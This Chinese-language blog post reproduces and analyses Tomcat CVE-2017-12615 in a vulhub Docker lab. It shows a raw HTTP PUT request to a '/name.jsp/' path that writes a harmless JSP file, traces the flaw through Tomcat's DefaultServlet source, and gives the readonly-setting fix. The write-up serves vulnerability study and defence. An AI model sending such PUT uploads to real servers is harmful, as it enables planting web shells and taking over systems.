【代码审计】Tomcat 任意文件写入 CVE-2017-12615


0x00 环境搭建

直接 Docker 搭建即可

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d

0x01 漏洞复现

直接使用 PUT 发起请求就可以上传任意文件,比如向 /teamssix.jsp/ 发起请求

PUT /teamssix.jsp/ HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26

<%out.print("TeamsSix");%>
HTTP/1.1 201 
Content-Length: 0
Date: Wed, 15 Dec 2021 07:19:29 GMT
Connection: close

服务端返回 201 说明创建成功,访问 /teamssix.jsp 可以看到文件成功被上传

GET /teamssix.jsp HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
HTTP/1.1 200 
Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 8
Date: Wed, 15 Dec 2021 07:19:35 GMT
Connection: close

TeamsSix

0x02 漏洞分析

Tomcat 在处理时有两个默认的 Servlet,分别为 DefaultServlet 和 JspServlet,具体配置如下:

   <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

……

 <servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
        <init-param>
            <param-name>fork</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>xpoweredBy</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>3</load-on-startup>
    </servlet>

……

    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

从配置文件里可以看到对于后缀为 .jsp 和 .jspx 的请求由 JspServlet 处理,而其他的请求则由 DefaultServlet 处理。

所以当请求 /teamssix.jsp 时将会由 JspServlet 处理,无法触发漏洞;而请求 /teamssix.jsp/ 将绕过这个限制,交由 DefaultServlet 处理,这时就可以触发漏洞了。

要想实现一个 Servlet,就需要继承 HTTPServlet,找到 HTTPServlet 文件为 /tomcat/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class

在 HTTPServlet 中找到 doPut 方法,然后找到 DefaultServlet 里重写的 doPut 方法路径为tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class

查看 DefaultServlet 的 doPut 方法

protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    if (this.readOnly) {
        resp.sendError(403);
    } else {
        String path = this.getRelativePath(req);
        WebResource resource = this.resources.getResource(path);
        DefaultServlet.Range range = this.parseContentRange(req, resp);
        Object resourceInputStream = null;

        try {
            if (range != null) {
                File contentFile = this.executePartialPut(req, range, path);
                resourceInputStream = new FileInputStream(contentFile);
            } else {
                resourceInputStream = req.getInputStream();
            }

            if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                if (resource.exists()) {
                    resp.setStatus(204);
                } else {
                    resp.setStatus(201);
                }
            } else {
                resp.sendError(409);
            }
        } finally {
            if (resourceInputStream != null) {
                try {
                    ((InputStream)resourceInputStream).close();
                } catch (IOException var13) {
                }
            }
        }
    }
}

从上面代码的第 2 行可以看到首先判断 readOnly 是否为真,如果为真则返回 403,因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原来的 false 改为 true 就能防御这个漏洞了。

继续回到 DefaultServlet.class 里,在 DefaultServlet.class 里可以看到有个 write 函数,通过这个 write 函数代码跟踪到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函数

public boolean write(String path, InputStream is, boolean overwrite) {
    this.checkPath(path);
    if (is == null) {
        throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
    } else if (this.isReadOnly()) {
        return false;
    } else {
        File dest = null;
        String webAppMount = this.getWebAppMount();
        if (path.startsWith(webAppMount)) {
            dest = this.file(path.substring(webAppMount.length()), false);
            if (dest == null) {
                return false;
            } else if (dest.exists() && !overwrite) {
                return false;
            } else {
                try {
                    if (overwrite) {
                        Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                    } else {
                        Files.copy(is, dest.toPath(), new CopyOption[0]);
                    }
                    return true;
                } catch (IOException var7) {
                    return false;
                }
            }
        } else {
            return false;
        }
    }
}

在执行到dest = this.file(path.substring(webAppMount.length()), false); 时,path 会作为参数传入,执行 file 方法,file 方法部分代码如下

protected final File file(String name, boolean mustExist) {
    if (name.equals("/")) {
        name = "";
    }
    File file = new File(this.fileBase, name);

在执行到 File file = new File(this.fileBase, name); 时,会实例化一个 File 对象,fileBase 是 Web 应用所在的绝对路径。

这里的 name 就是传入的文件名,比如 /teamssix.jsp/,在 File 实例化的过程中会处理掉 /,因此 /teamssix.jsp/ 会变成 /teamssix.jsp

所以通过 PUT 请求,利用 /teamssix.jsp/ 可以达到任意文件上传的目的。

参考文章:

https://xz.aliyun.com/t/5610

更多信息欢迎关注我的个人微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录